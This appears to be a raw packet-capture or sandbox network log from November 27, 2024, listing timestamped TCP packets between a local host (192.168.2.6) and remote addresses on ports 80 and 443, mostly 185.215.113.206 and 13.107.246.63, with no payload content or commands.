Nov 27, 2024 11:14:44.780818939 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.791903019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.792011023 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.792085886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.792143106 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.792311907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.792401075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.792427063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.792448997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.793216944 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.793298006 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.793320894 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.793348074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.794066906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.794213057 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.794248104 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.794317961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.794975996 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.795033932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.795052052 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.795135021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.795809984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.795888901 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.795902967 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.796010017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.796704054 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.796787977 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.796822071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.796873093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.797255993 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.797277927 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.797352076 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.797363043 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.797564983 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.797575951 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.797657967 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.797667980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.797847986 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.798422098 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.798516989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.798540115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.798636913 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.799289942 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.799365044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.799398899 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.799540997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.800168991 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.800225973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.800266027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.800338984 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.801037073 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.801106930 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.801146984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.801204920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.801969051 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.802058935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.802139044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.802748919 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.802824974 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.802855968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.802911043 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.803613901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.803663969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.803730965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.804476023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.804487944 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.804541111 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.804578066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.805366993 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.805430889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.805449963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.805608988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.806205988 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.806299925 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.806308031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.806355953 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.807076931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.807193041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.807205915 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.807336092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.807961941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.808044910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.808053970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.808109045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.808835030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.808947086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.809398890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.809664965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.809756041 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.809771061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.809875965 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.810539961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.810676098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.810713053 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.810878038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.811448097 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.811501980 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.811522961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.811523914 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.811548948 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.811593056 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.811602116 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.811635971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.811664104 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.812282085 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.812330961 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.812438011 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.812536955 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.813138008 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.813210964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.813214064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.813586950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.814014912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.814085960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.814117908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.814260960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.814889908 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.814995050 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.815028906 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.815280914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.815778017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.815871000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.815888882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.815929890 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.816665888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.816770077 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.816796064 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.816842079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.817569017 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.817648888 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.817728043 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.817778111 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.818506002 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.818562031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.818572044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.818603992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.819231033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.819331884 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.819344997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.819603920 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.820096970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.820164919 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.820199013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.820250034 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.820997953 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.821067095 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.821111917 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.821154118 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.821837902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.821902037 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.821949959 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.822101116 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.822732925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.822746038 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.822813988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.822813988 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.823561907 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.823662996 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.823667049 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.823775053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.824528933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.824542046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.824572086 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.824599981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.825310946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.825390100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.825437069 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.825486898 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.826183081 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.826251030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.826294899 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.826438904 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.826643944 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.826663971 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.826724052 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.826736927 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.826795101 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.827089071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.827136993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.827187061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.827234983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.827903032 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.827981949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.828027964 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.828169107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.828819990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.828902960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.828964949 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.828994989 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.829644918 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.829694986 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.829745054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.830569029 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.830581903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.830631018 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.831388950 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.831516981 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.831557035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.831557035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.832300901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.832437038 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.832458019 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.832483053 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.833425045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.833445072 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.833496094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.833535910 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.834147930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.834213972 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.834268093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.834853888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.834986925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.835036993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.835758924 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.835812092 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.835887909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.835983992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.836549044 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.836602926 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.839467049 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.839484930 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.839608908 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.839622021 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.839658976 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.881792068 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.881822109 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.881875038 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.881890059 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.881930113 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.881993055 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.903409004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.910720110 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:44.910783052 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:44.964607000 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.964633942 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.964682102 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.964696884 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.964739084 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.964739084 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.973140955 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.973171949 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.973242998 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.973254919 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.973299980 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.973299980 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.982995033 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.983014107 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.983181953 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.983194113 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.983249903 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.988848925 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.989382982 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.989418030 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.989845991 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.989851952 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.992813110 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.992835999 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.992898941 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.992906094 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.992937088 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.993002892 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.997205019 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:44.997216940 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:44.997592926 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:44.997597933 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:44.998409033 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.998478889 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.998616934 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.998747110 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.998764038 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.998778105 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.998785973 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.001642942 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.001679897 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.001825094 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.001890898 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.001915932 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.001970053 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.001985073 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.002037048 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.002037048 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.002140045 CET	49887	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.002152920 CET	443	49887	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.009151936 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.009205103 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.009222031 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.009233952 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.009272099 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.009296894 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.009613991 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.009625912 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.023284912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.111043930 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.112229109 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.129467964 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.129499912 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.130048037 CET	49882	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.130053997 CET	443	49882	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.130400896 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.130436897 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.130840063 CET	49883	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:45.130846977 CET	443	49883	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:45.219881058 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.219932079 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.220015049 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.220046043 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.220060110 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.220098019 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.220339060 CET	49888	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.220354080 CET	443	49888	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.220485926 CET	49889	443	192.168.2.6	13.107.246.40
Nov 27, 2024 11:14:45.220501900 CET	443	49889	13.107.246.40	192.168.2.6
Nov 27, 2024 11:14:45.314801931 CET	443	49885	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.315139055 CET	49885	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:45.315155983 CET	443	49885	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.315534115 CET	443	49885	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.315853119 CET	49885	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:45.315922976 CET	443	49885	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.319283962 CET	443	49886	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.319715977 CET	49886	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:45.319730997 CET	443	49886	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.320085049 CET	443	49886	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.320883036 CET	49886	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:45.320944071 CET	443	49886	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:45.349689960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.349771023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.349802017 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.349997997 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.350111961 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.350157022 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.350188971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.350223064 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.351002932 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.351119995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.351157904 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.351197004 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.351854086 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.351964951 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:45.352021933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:45.352710962 CET	80	49830	185.215.113.206	192.168.2.6
